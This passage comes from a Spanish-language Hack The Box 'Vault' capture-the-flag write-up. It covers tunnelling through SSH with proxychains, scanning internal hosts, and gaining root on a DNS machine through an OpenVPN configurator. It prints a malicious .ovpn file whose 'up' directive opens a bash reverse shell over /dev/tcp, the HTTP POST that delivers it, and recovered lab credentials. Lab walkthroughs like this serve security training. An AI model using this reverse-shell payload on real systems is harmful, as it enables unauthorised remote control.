          <td>52:54:00:3a:3b:d5 and 52:54:00:e1:74:41</td>
          <td>spice://127.0.0.1:5901</td>
      </tr>
      <tr>
          <td>Vault</td>
          <td>52:54:00:c6:70:66</td>
          <td>spice://127.0.0.1:5902</td>
      </tr>
  </tbody>
</table>
<p>Como la maquina se llama <strong>Vault</strong>, debemos llegar hasta ella. Copie las MAC para observar y tratar de determinar una topología de L2 que nos pueda ayudar a entender como se intercomunican y mas aun, como desde ubuntu podemos llegar.</p>
<p>El spice es importante porque básicamente podemos conectarnos a cualquier maquina y tener la salida del monitor.</p>
<p>Veamos que tenemos en nuestra tabla de ARP:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>dave@ubuntu:~$ arp -a
</span></span><span style="display:flex;"><span>? (192.168.122.4) at 52:54:00:17:ab:49 [ether] on virbr0
</span></span><span style="display:flex;"><span>? (10.10.10.2) at 00:50:56:aa:9c:8d [ether] on ens33
</span></span><span style="display:flex;"><span>? (192.168.122.5) at 52:54:00:3a:3b:d5 [ether] on virbr0
</span></span></code></pre></div><p>Tenemos las dos direcciones IP del archivo <em>Server</em> que ahora podemos correlacionar con las MAC. Como podemos observar nos hacen falta 2 MAC, lo que nos indica que por L2 no tenemos acceso, forzándonos a comprender que dichas MAC se encuentran en otro segmento de red. Si, Firewall tiene dos tarjetas, por lo que una da directo hacia ubuntu (en L3) y la otra va hacia otro bridge entre Vault y Firewall.</p>
<link href="/mermaid/mermaid.css" type="text/css" rel="stylesheet"/>
<script defer src="/mermaid/mermaid.js">mermaid.initialize({startOnLoad:true});</script>
<div class="mermaid" align="center" >
graph TD;
    0(ubuntu)
    0-->|192.168.122.0/24|1(DNS);
    0-->|192.168.122.0/24|2(Firewall)
    2-->|x.x.x.x|3(Vault);
</div>

<h1 id="tunneling-from-ubuntu">Tunneling from ubuntu</h1>
<p>Ahora que hemos comprendido que desde ubuntu tenemos que llegar a DNS y Firewall, viene el problema de que no sabemos nada mas que sus direcciones IP. Enumerando un poco mas el servicio SSH que estamos usando actualmente, encontraremos que para nuestra fortuna algunas opciones están habilitadas para hacer una dirección de puertos:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>dave@ubuntu:~$ cat /etc/ssh/sshd_config | grep -Ev &#39;^$|^#&#39;
</span></span><span style="display:flex;"><span>Port 22
</span></span><span style="display:flex;"><span>Protocol 2
</span></span><span style="display:flex;"><span>HostKey /etc/ssh/ssh_host_rsa_key
</span></span><span style="display:flex;"><span>HostKey /etc/ssh/ssh_host_dsa_key
</span></span><span style="display:flex;"><span>HostKey /etc/ssh/ssh_host_ecdsa_key
</span></span><span style="display:flex;"><span>HostKey /etc/ssh/ssh_host_ed25519_key
</span></span><span style="display:flex;"><span>UsePrivilegeSeparation yes
</span></span><span style="display:flex;"><span>KeyRegenerationInterval 3600
</span></span><span style="display:flex;"><span>ServerKeyBits 1024
</span></span><span style="display:flex;"><span>SyslogFacility AUTH
</span></span><span style="display:flex;"><span>LogLevel INFO
</span></span><span style="display:flex;"><span>LoginGraceTime 120
</span></span><span style="display:flex;"><span>PermitRootLogin prohibit-password
</span></span><span style="display:flex;"><span>StrictModes yes
</span></span><span style="display:flex;"><span>RSAAuthentication yes
</span></span><span style="display:flex;"><span>PubkeyAuthentication yes
</span></span><span style="display:flex;"><span>IgnoreRhosts yes
</span></span><span style="display:flex;"><span>RhostsRSAAuthentication no
</span></span><span style="display:flex;"><span>HostbasedAuthentication no
</span></span><span style="display:flex;"><span>PermitEmptyPasswords no
</span></span><span style="display:flex;"><span>ChallengeResponseAuthentication no
</span></span><span style="display:flex;"><span>X11Forwarding yes
</span></span><span style="display:flex;"><span>X11DisplayOffset 10
</span></span><span style="display:flex;"><span>PrintMotd no
</span></span><span style="display:flex;"><span>PrintLastLog yes
</span></span><span style="display:flex;"><span>TCPKeepAlive yes
</span></span><span style="display:flex;"><span>AcceptEnv LANG LC_*
</span></span><span style="display:flex;"><span>Subsystem sftp /usr/lib/openssh/sftp-server
</span></span><span style="display:flex;"><span>UsePAM yes
</span></span><span style="display:flex;"><span>AllowTCPForwarding yes
</span></span><span style="display:flex;"><span>GatewayPorts yes
</span></span><span style="display:flex;"><span>PermitOpen any
</span></span><span style="display:flex;"><span>MaxSessions 1000000
</span></span><span style="display:flex;"><span>PermitTunnel yes
</span></span></code></pre></div><p>Esto nos permite establecer una VPN de SSH en la cual mandamos sobre una conexión de SSH trafico como si <em>ubuntu</em> generar el trafico. Esta técnica era bastante utilizada antes, cuando por ejemplo te querías conectar desde un cibercafé a tu casa o si no confiabas en la red, podías tunelear todo tu trafico hasta tu casa y usar tu salida a internet.</p>
<p>Primero definimos un puerto que acepte todas las conexiones y que se convierta en el listener o en el proxy:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/htb/vault$ ssh -f -N -D 9050 dave@10.10.10.109
</span></span><span style="display:flex;"><span>dave@10.10.10.109&#39;s password:
</span></span></code></pre></div><ul>
<li><code>-f</code></li>
<li><code>-N</code></li>
<li><code>-D 9050</code></li>
<li><code>dave@10.10.10.109</code></li>
</ul>
<p>Después usando proxychains, el cual por defecto usa el puerto 9050 y la ip 127.0.0.1, ejecuta sobre la conexión un nmap por ejemplo:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>root@laptop:~# proxychains nmap -sT --open -n -v 192.168.122.5
</span></span><span style="display:flex;"><span>ProxyChains-3.1 (http://proxychains.sf.net)
</span></span><span style="display:flex;"><span>Starting Nmap 7.70 ( https://nmap.org ) at 2019-03-17 17:39 CST
</span></span><span style="display:flex;"><span>Initiating Ping Scan at 17:39
</span></span><span style="display:flex;"><span>Scanning 192.168.122.5 [4 ports]
</span></span><span style="display:flex;"><span>Completed Ping Scan at 17:39, 0.23s elapsed (1 total hosts)
</span></span><span style="display:flex;"><span>Initiating Connect Scan at 17:39
</span></span><span style="display:flex;"><span>Scanning 192.168.122.5 [1000 ports]
</span></span><span style="display:flex;"><span>Completed Connect Scan at 17:42, 154.31s elapsed (1000 total ports)
</span></span><span style="display:flex;"><span>Read data files from: /usr/bin/../share/nmap
</span></span><span style="display:flex;"><span>Nmap done: 1 IP address (1 host up) scanned in 154.64 seconds
</span></span><span style="display:flex;"><span>           Raw packets sent: 4 (152B) | Rcvd: 1 (40B)
</span></span></code></pre></div><p>Las opciones son muy parecida a las anteriores, con la diferencia que para este escaneo utilice <code>-sT</code> en lugar de <code>-sS</code>, ya que por mi topología tuneleada, necesito establecer conexiones completas en lugar de solo mandar SYN.</p>
<p>También en este escaneo hacia Firewall, podemos ver que ningún puerto contesto como abierto. Continuemos sobre DNS:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span># Nmap 7.70 scan initiated Sun Mar 17 17:42:45 2019 as: nmap -sT --open -n -v -oN DNS-proxychains-nmap.nmap 192.168.122.4
</span></span><span style="display:flex;"><span>Nmap scan report for 192.168.122.4
</span></span><span style="display:flex;"><span>Host is up (0.15s latency).
</span></span><span style="display:flex;"><span>Not shown: 998 closed ports
</span></span><span style="display:flex;"><span>PORT   STATE SERVICE
</span></span><span style="display:flex;"><span>22/tcp open  ssh
</span></span><span style="display:flex;"><span>80/tcp open  http
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Read data files from: /usr/bin/../share/nmap
</span></span><span style="display:flex;"><span># Nmap done at Sun Mar 17 17:45:17 2019 -- 1 IP address (1 host up) scanned in 152.10 seconds
</span></span></code></pre></div><p>Ahora en la salida de este archivo (<em>DNS-proxychains-nmap.nmap</em>) podemos ver que DNS tiene dos puertos abiertos, uno es el 22 y el otro el 80.</p>
<p>Utilizando <code>httpie</code> exploremos el servidor web:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-html" data-lang="html"><span style="display:flex;"><span>xbytemx@laptop:~/htb/vault$ proxychains http 192.168.122.4
</span></span><span style="display:flex;"><span>ProxyChains-3.1 (http://proxychains.sf.net)
</span></span><span style="display:flex;"><span>|S-chain|-<span style="color:#960050;background-color:#1e0010">&lt;</span>&gt;-127.0.0.1:9050-<span style="color:#960050;background-color:#1e0010">&lt;</span>&gt;<span style="color:#960050;background-color:#1e0010">&lt;</span>&gt;-192.168.122.4:80-<span style="color:#960050;background-color:#1e0010">&lt;</span>&gt;<span style="color:#960050;background-color:#1e0010">&lt;</span>&gt;-OK
</span></span><span style="display:flex;"><span>HTTP/1.1 200 OK
</span></span><span style="display:flex;"><span>Connection: Keep-Alive
</span></span><span style="display:flex;"><span>Content-Encoding: gzip
</span></span><span style="display:flex;"><span>Content-Length: 153
</span></span><span style="display:flex;"><span>Content-Type: text/html; charset=UTF-8
</span></span><span style="display:flex;"><span>Date: Sun, 17 Mar 2019 23:47:16 GMT
</span></span><span style="display:flex;"><span>Keep-Alive: timeout=5, max=100
</span></span><span style="display:flex;"><span>Server: Apache/2.4.18 (Ubuntu)
</span></span><span style="display:flex;"><span>Vary: Accept-Encoding
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">h1</span>&gt; Welcome to the Sparklays DNS Server &lt;/<span style="color:#f92672">h1</span>&gt;
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">p</span>&gt;
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">a</span> <span style="color:#a6e22e">href</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;dns-config.php&#34;</span>&gt;Click here to modify your DNS Settings&lt;/<span style="color:#f92672">a</span>&gt;&lt;<span style="color:#f92672">br</span>&gt;
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">a</span> <span style="color:#a6e22e">href</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;vpnconfig.php&#34;</span>&gt;Click here to test your VPN Configuration&lt;/<span style="color:#f92672">a</span>&gt;
</span></span></code></pre></div><p>Encontramos desde index.html, dos archivos más: <em>vpnconfig.php</em> y <em>dns-config.php</em>. Veamos su contenido:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-html" data-lang="html"><span style="display:flex;"><span>xbytemx@laptop:~/htb/vault$ proxychains http 192.168.122.4/dns-config.php
</span></span><span style="display:flex;"><span>ProxyChains-3.1 (http://proxychains.sf.net)
</span></span><span style="display:flex;"><span>|S-chain|-<span style="color:#960050;background-color:#1e0010">&lt;</span>&gt;-127.0.0.1:9050-<span style="color:#960050;background-color:#1e0010">&lt;</span>&gt;<span style="color:#960050;background-color:#1e0010">&lt;</span>&gt;-192.168.122.4:80-<span style="color:#960050;background-color:#1e0010">&lt;</span>&gt;<span style="color:#960050;background-color:#1e0010">&lt;</span>&gt;-OK
</span></span><span style="display:flex;"><span>HTTP/1.1 404 Not Found
</span></span><span style="display:flex;"><span>Connection: Keep-Alive
</span></span><span style="display:flex;"><span>Content-Length: 291
</span></span><span style="display:flex;"><span>Content-Type: text/html; charset=iso-8859-1
</span></span><span style="display:flex;"><span>Date: Sun, 17 Mar 2019 23:47:27 GMT
</span></span><span style="display:flex;"><span>Keep-Alive: timeout=5, max=100
</span></span><span style="display:flex;"><span>Server: Apache/2.4.18 (Ubuntu)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">&lt;!DOCTYPE HTML PUBLIC &#34;-//IETF//DTD HTML 2.0//EN&#34;&gt;</span>
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">html</span>&gt;&lt;<span style="color:#f92672">head</span>&gt;
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">title</span>&gt;404 Not Found&lt;/<span style="color:#f92672">title</span>&gt;
</span></span><span style="display:flex;"><span>&lt;/<span style="color:#f92672">head</span>&gt;&lt;<span style="color:#f92672">body</span>&gt;
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">h1</span>&gt;Not Found&lt;/<span style="color:#f92672">h1</span>&gt;
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">p</span>&gt;The requested URL /dns-config.php was not found on this server.&lt;/<span style="color:#f92672">p</span>&gt;
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">hr</span>&gt;
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">address</span>&gt;Apache/2.4.18 (Ubuntu) Server at 192.168.122.4 Port 80&lt;/<span style="color:#f92672">address</span>&gt;
</span></span><span style="display:flex;"><span>&lt;/<span style="color:#f92672">body</span>&gt;&lt;/<span style="color:#f92672">html</span>&gt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>xbytemx@laptop:~/htb/vault$ proxychains http 192.168.122.4/vpnconfig.php
</span></span><span style="display:flex;"><span>ProxyChains-3.1 (http://proxychains.sf.net)
</span></span><span style="display:flex;"><span>|S-chain|-<span style="color:#960050;background-color:#1e0010">&lt;</span>&gt;-127.0.0.1:9050-<span style="color:#960050;background-color:#1e0010">&lt;</span>&gt;<span style="color:#960050;background-color:#1e0010">&lt;</span>&gt;-192.168.122.4:80-<span style="color:#960050;background-color:#1e0010">&lt;</span>&gt;<span style="color:#960050;background-color:#1e0010">&lt;</span>&gt;-OK
</span></span><span style="display:flex;"><span>HTTP/1.1 200 OK
</span></span><span style="display:flex;"><span>Connection: Keep-Alive
</span></span><span style="display:flex;"><span>Content-Encoding: gzip
</span></span><span style="display:flex;"><span>Content-Length: 295
</span></span><span style="display:flex;"><span>Content-Type: text/html; charset=UTF-8
</span></span><span style="display:flex;"><span>Date: Sun, 17 Mar 2019 23:47:39 GMT
</span></span><span style="display:flex;"><span>Keep-Alive: timeout=5, max=100
</span></span><span style="display:flex;"><span>Server: Apache/2.4.18 (Ubuntu)
</span></span><span style="display:flex;"><span>Vary: Accept-Encoding
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">&lt;!-- HTML form --&gt;</span>
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">html</span>&gt;
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">h1</span>&gt; VPN Configurator &lt;/<span style="color:#f92672">h1</span>&gt;&lt;<span style="color:#f92672">p</span>&gt;
</span></span><span style="display:flex;"><span>Here you can modify your .ovpn file and execute it.&lt;<span style="color:#f92672">p</span>&gt;
</span></span><span style="display:flex;"><span>Note: nobind must be used. &lt;<span style="color:#f92672">p</span>&gt;
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">form</span> <span style="color:#a6e22e">action</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;vpnconfig.php?function=testvpn&#34;</span> <span style="color:#a6e22e">method</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;post&#34;</span>&gt;
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">textarea</span> <span style="color:#a6e22e">rows</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;10&#34;</span> <span style="color:#a6e22e">cols</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;40&#34;</span> <span style="color:#a6e22e">name</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;text&#34;</span>&gt;&lt;/<span style="color:#f92672">textarea</span>&gt;&lt;<span style="color:#f92672">p</span>&gt;
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">input</span> <span style="color:#a6e22e">type</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;submit&#34;</span> <span style="color:#a6e22e">value</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;Update file&#34;</span>&gt;
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">input</span> <span style="color:#a6e22e">type</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;hidden&#34;</span> <span style="color:#a6e22e">name</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;resulturl&#34;</span> <span style="color:#a6e22e">value</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;google.com&#34;</span>&gt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">p</span>&gt;
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">a</span> <span style="color:#a6e22e">href</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;vpnconfig.php?function=testvpn&#34;</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;mybutton&#34;</span>&gt;Test VPN&lt;/<span style="color:#f92672">a</span>&gt;
</span></span><span style="display:flex;"><span>&lt;/<span style="color:#f92672">html</span>&gt;
</span></span></code></pre></div><p>Parece que tenemos un configurador de OpenVPN (.ovpn) justo como el que hackthebox nos entrega para conectarnos. Esto significa que probablemente el path sea explotar alguna vulnerabilidad en OVPN que nos permita entrar a DNS.</p>
<h1 id="reverse-shell-from-dns">Reverse Shell from DNS</h1>
<p>Googleando un poco encontraremos el siguiente <a href="https://medium.com/tenable-techblog/reverse-shell-from-an-openvpn-configuration-file-73fd8b1d38da">articulo</a>, el cual nos explica como aprovecharnos y realizar un RCE sobre un servidor de OVPN. Usando esta técnica, desarrolle el siguiente archivo ovpn:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>remote 192.168.122.1
</span></span><span style="display:flex;"><span>dev tun
</span></span><span style="display:flex;"><span>nobind
</span></span><span style="display:flex;"><span>script-security 2
</span></span><span style="display:flex;"><span>up &#34;/bin/bash -c &#39;/bin/bash -i &gt; /dev/tcp/192.168.122.1/3001 0&lt;&amp;1 2&gt;&amp;1&amp;&#39;&#34;
</span></span></code></pre></div><p>Tenemos el comando a ejecutarse después de que la vpn se levante, que es básicamente un reverse shell y el remote de la conexión, osea la maquina <em>ubuntu</em>. Levantamos un netcat para recibir la conexión en <em>ubuntu</em> y usando proxychains subimos via post el contenido del archivo ovpn:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/htb/vault$ proxychains http -f POST &#34;http://192.168.122.4/vpnconfig.php?function=testvpn&#34; submit=&#34;Update file&#34; text=&#34;remote 192.168.122.1\ndev tun\nnobind\nscript-security 2\nup \&#34;/bin/bash -c \&#39;/bin/bash -i &gt; /dev/tcp/192.168.122.1/3001 0&lt;&amp;1 2&gt;&amp;1&amp;\&#39;\&#34;&#34;
</span></span><span style="display:flex;"><span>ProxyChains-3.1 (http://proxychains.sf.net)
</span></span><span style="display:flex;"><span>|S-chain|-&lt;&gt;-127.0.0.1:9050-&lt;&gt;&lt;&gt;-192.168.122.4:80-&lt;&gt;&lt;&gt;-OK
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>http: error: Request timed out (30s).
</span></span></code></pre></div><p>En nuestro listener debemos recibir la conexión remota de DNS:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>dave@ubuntu:~$ nc -vlnp 3001
</span></span><span style="display:flex;"><span>Listening on [0.0.0.0] (family 0, port 3001)
</span></span><span style="display:flex;"><span>Connection from [192.168.122.4] port 3001 [tcp/*] accepted (family 2, sport 33836)
</span></span><span style="display:flex;"><span>bash: cannot set terminal process group (1076): Inappropriate ioctl for device
</span></span><span style="display:flex;"><span>bash: no job control in this shell
</span></span><span style="display:flex;"><span>root@DNS:/var/www/html#
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>root@DNS:/var/www/html# id
</span></span><span style="display:flex;"><span>id
</span></span><span style="display:flex;"><span>uid=0(root) gid=0(root) groups=0(root)
</span></span></code></pre></div><p>yey ya somos root! pero en DNS ):</p>
<p>Ahora que hemos ingresado en nuestra primera maquina, veamos que encontramos por aquí:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>root@DNS:/var/www/html# cd /home
</span></span><span style="display:flex;"><span>cd /home
</span></span><span style="display:flex;"><span>root@DNS:/home# ls
</span></span><span style="display:flex;"><span>ls
</span></span><span style="display:flex;"><span>alex
</span></span><span style="display:flex;"><span>dave
</span></span><span style="display:flex;"><span>root@DNS:/home# cd dave
</span></span><span style="display:flex;"><span>cd dave
</span></span><span style="display:flex;"><span>root@DNS:/home/dave# ls
</span></span><span style="display:flex;"><span>ls
</span></span><span style="display:flex;"><span>ssh
</span></span><span style="display:flex;"><span>user.txt
</span></span><span style="display:flex;"><span>root@DNS:/home/dave# cat ssh
</span></span><span style="display:flex;"><span>cat ssh
</span></span><span style="display:flex;"><span>dave
</span></span><span style="display:flex;"><span>dav3gerous567
</span></span></code></pre></div><p>Parece que tenemos otras credenciales para entrar por SSH.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>dave@ubuntu:~$ ssh dave@192.168.122.4
</span></span><span style="display:flex;"><span>dave@192.168.122.4&#39;s password:
</span></span><span style="display:flex;"><span>Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.4.0-116-generic i686)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> * Documentation:  https://help.ubuntu.com
</span></span><span style="display:flex;"><span> * Management:     https://landscape.canonical.com
</span></span><span style="display:flex;"><span> * Support:        https://ubuntu.com/advantage
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>98 packages can be updated.
</span></span><span style="display:flex;"><span>50 updates are security updates.
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Last login: Mon Sep  3 16:38:03 2018
</span></span><span style="display:flex;"><span>dave@DNS:~$
</span></span></code></pre></div><blockquote>
<p>creds: dave / dav3gerous567</p>
</blockquote>
<h1 id="cat-usertxt">cat user.txt</h1>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>root@DNS:/home/dave# cat user.txt
</span></span><span style="display:flex;"><span>cat user.txt
</span></span></code></pre></div><h1 id="enumerating-dns-from-root">Enumerating DNS from root</h1>
<p>Validemos que puede hacer <em>dave</em> en esta maquina o porque es tan importante:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>root@DNS:/home/dave# sudo -l -U dave
</span></span><span style="display:flex;"><span>sudo -l -U dave
</span></span><span style="display:flex;"><span>Matching Defaults entries for dave on DNS:
</span></span><span style="display:flex;"><span>    env_reset, mail_badpass,
</span></span><span style="display:flex;"><span>    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>User dave may run the following commands on DNS:
</span></span><span style="display:flex;"><span>    (ALL : ALL) ALL
</span></span></code></pre></div><p>Gracias a <code>sudo -s</code> podremos regresar a root en cualquier momento usando a <em>dave</em>.</p>
<p>Después de revolotear un poco el gallinero y tratar de identificar si DNS se conecta a Vault o a Firewall, encontraremos algo interesante sobre las rutas:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>root@DNS:/home/dave# ip r
</span></span><span style="display:flex;"><span>ip r
</span></span><span style="display:flex;"><span>192.168.5.0/24 via 192.168.122.5 dev ens3
</span></span><span style="display:flex;"><span>192.168.122.0/24 dev ens3  proto kernel  scope link  src 192.168.122.4
</span></span></code></pre></div><p>Esto nos indica que DNS se puede conectar a la red entre Firewall y Vault, mas aun que la red entre ellos es alcanzada gracias a Firewall y el segmento es 192.168.5.0/24.</p>
<p>Estuve buscando sobre etc y var referencias a la red 192.168.5.0/24, hasta que di con auth.log:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>root@DNS:/home/dave# find /var/log/ -type f -exec grep &#34;192.168.5.&#34; {} \;
</span></span><span style="display:flex;"><span>find /var/log/ -type f -exec grep &#34;192.168.5.&#34; {} \;
</span></span><span style="display:flex;"><span>Binary file /var/log/auth.log matches
</span></span><span style="display:flex;"><span>Binary file /var/log/btmp matches
</span></span><span style="display:flex;"><span>root@DNS:/home/dave# grep -a &#34;192.168.5&#34; /var/log/auth.log
</span></span><span style="display:flex;"><span>grep -a &#34;192.168.5&#34; /var/log/auth.log
</span></span><span style="display:flex;"><span>Jul 17 16:49:01 DNS sshd[1912]: Accepted password for dave from 192.168.5.2 port 4444 ssh2
</span></span><span style="display:flex;"><span>Jul 17 16:49:02 DNS sshd[1943]: Received disconnect from 192.168.5.2 port 4444:11: disconnected by user
</span></span><span style="display:flex;"><span>Jul 17 16:49:02 DNS sshd[1943]: Disconnected from 192.168.5.2 port 4444
</span></span><span style="display:flex;"><span>Jul 17 17:21:38 DNS sshd[1560]: Accepted password for dave from 192.168.5.2 port 4444 ssh2
</span></span><span style="display:flex;"><span>Jul 17 17:21:38 DNS sshd[1590]: Received disconnect from 192.168.5.2 port 4444:11: disconnected by user
</span></span><span style="display:flex;"><span>Jul 17 17:21:38 DNS sshd[1590]: Disconnected from 192.168.5.2 port 4444
</span></span><span style="display:flex;"><span>Jul 17 21:58:26 DNS sshd[1171]: Accepted password for dave from 192.168.5.2 port 4444 ssh2
</span></span><span style="display:flex;"><span>Jul 17 21:58:29 DNS sshd[1249]: Received disconnect from 192.168.5.2 port 4444:11: disconnected by user
</span></span><span style="display:flex;"><span>Jul 17 21:58:29 DNS sshd[1249]: Disconnected from 192.168.5.2 port 4444
</span></span><span style="display:flex;"><span>Jul 24 15:06:10 DNS sshd[1466]: Accepted password for dave from 192.168.5.2 port 4444 ssh2
</span></span><span style="display:flex;"><span>Jul 24 15:06:10 DNS sshd[1496]: Received disconnect from 192.168.5.2 port 4444:11: disconnected by user
</span></span><span style="display:flex;"><span>Jul 24 15:06:10 DNS sshd[1496]: Disconnected from 192.168.5.2 port 4444
</span></span><span style="display:flex;"><span>Jul 24 15:06:26 DNS sshd[1500]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.5.2  user=dave
</span></span><span style="display:flex;"><span>Jul 24 15:06:28 DNS sshd[1500]: Failed password for dave from 192.168.5.2 port 4444 ssh2
</span></span><span style="display:flex;"><span>Jul 24 15:06:28 DNS sshd[1500]: Connection closed by 192.168.5.2 port 4444 [preauth]
</span></span><span style="display:flex;"><span>Jul 24 15:06:57 DNS sshd[1503]: Accepted password for dave from 192.168.5.2 port 4444 ssh2
</span></span><span style="display:flex;"><span>Jul 24 15:06:57 DNS sshd[1533]: Received disconnect from 192.168.5.2 port 4444:11: disconnected by user
</span></span><span style="display:flex;"><span>Jul 24 15:06:57 DNS sshd[1533]: Disconnected from 192.168.5.2 port 4444
</span></span><span style="display:flex;"><span>Jul 24 15:07:21 DNS sshd[1536]: Accepted password for dave from 192.168.5.2 port 4444 ssh2
</span></span><span style="display:flex;"><span>Jul 24 15:07:21 DNS sshd[1566]: Received disconnect from 192.168.5.2 port 4444:11: disconnected by user
</span></span><span style="display:flex;"><span>Jul 24 15:07:21 DNS sshd[1566]: Disconnected from 192.168.5.2 port 4444
</span></span><span style="display:flex;"><span>Sep  2 15:07:51 DNS sudo:     dave : TTY=pts/0 ; PWD=/home/dave ; USER=root ; COMMAND=/usr/bin/nmap 192.168.5.2 -Pn --source-port=4444 -f
</span></span><span style="display:flex;"><span>Sep  2 15:10:20 DNS sudo:     dave : TTY=pts/0 ; PWD=/home/dave ; USER=root ; COMMAND=/usr/bin/ncat -l 1234 --sh-exec ncat 192.168.5.2 987 -p 53
</span></span><span style="display:flex;"><span>Sep  2 15:10:34 DNS sudo:     dave : TTY=pts/0 ; PWD=/home/dave ; USER=root ; COMMAND=/usr/bin/ncat -l 3333 --sh-exec ncat 192.168.5.2 987 -p 53
</span></span><span style="display:flex;"><span>root@DNS:/home/dave#
</span></span></code></pre></div><p>Con esto sabemos que una de las dos maquinas tiene la dirección 192.168.5.2, que conoce las credenciales de dave, y que el puerto TCP/4444 es relevante para las conexiones.</p>
<p>Las ultimas 3 lineas indican que es posible escanear la 192.168.5.2, pero que probablemente este filtrado el puerto de origen.
La penúltima y antepenúltima, que el puerto 987 esta abierto en 192.168.5.2, pero hay que redirigirlo para poder establecer una conexión.</p>
<p>Entonces tenemos un diagrama como el siguiente:</p>
